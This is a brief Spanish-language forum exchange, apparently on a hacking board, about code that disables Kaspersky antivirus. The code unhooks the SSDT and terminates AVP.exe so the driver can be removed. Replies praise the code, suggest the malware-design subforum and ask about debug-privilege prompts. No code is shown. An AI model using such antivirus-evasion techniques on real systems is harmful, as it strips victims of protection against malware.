gracias Hendrix, no se que apis tenga en la shadow SSDT pero al limpiar la SSDT y terminar el proceso AVP.exe el driver se puede eliminar y kaspersky queda deshabilitado, no mas defensa proactiva

[Novlucker]

Interesante code 

Saludos

P.D: no debería de ir a "Análisis y diseño de malware"?

[Distorsion]

Al ejecutarse no muestra un cartelito avisando que el programa intenta obteber privilegios de depuracion?